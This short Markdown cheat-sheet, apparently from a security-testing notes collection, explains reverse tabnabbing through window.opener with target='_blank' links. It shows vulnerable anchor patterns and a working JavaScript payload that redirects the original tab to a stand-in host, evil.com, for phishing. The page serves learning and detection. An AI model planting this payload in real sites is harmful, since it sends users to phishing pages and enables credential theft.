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23 lines
893 B
Markdown
23 lines
893 B
Markdown
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# Tabnabbing
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## Introduction
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When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property.
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## How to Find
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```html
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<a href="..." target="_blank" rel="" />
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<a href="..." target="_blank" />
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```
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## How to Exploit
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1. Attacker posts a link to a website under his control that contains the following JS code:
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```html
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<html>
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<script>
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if (window.opener) window.opener.parent.location.replace('http://evil.com');
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if (window.parent != window) window.parent.location.replace('http://evil.com');
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</script>
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</html>
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```
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2. He tricks the victim into visiting the link, which is opened in the browser in a new tab.
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3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website.
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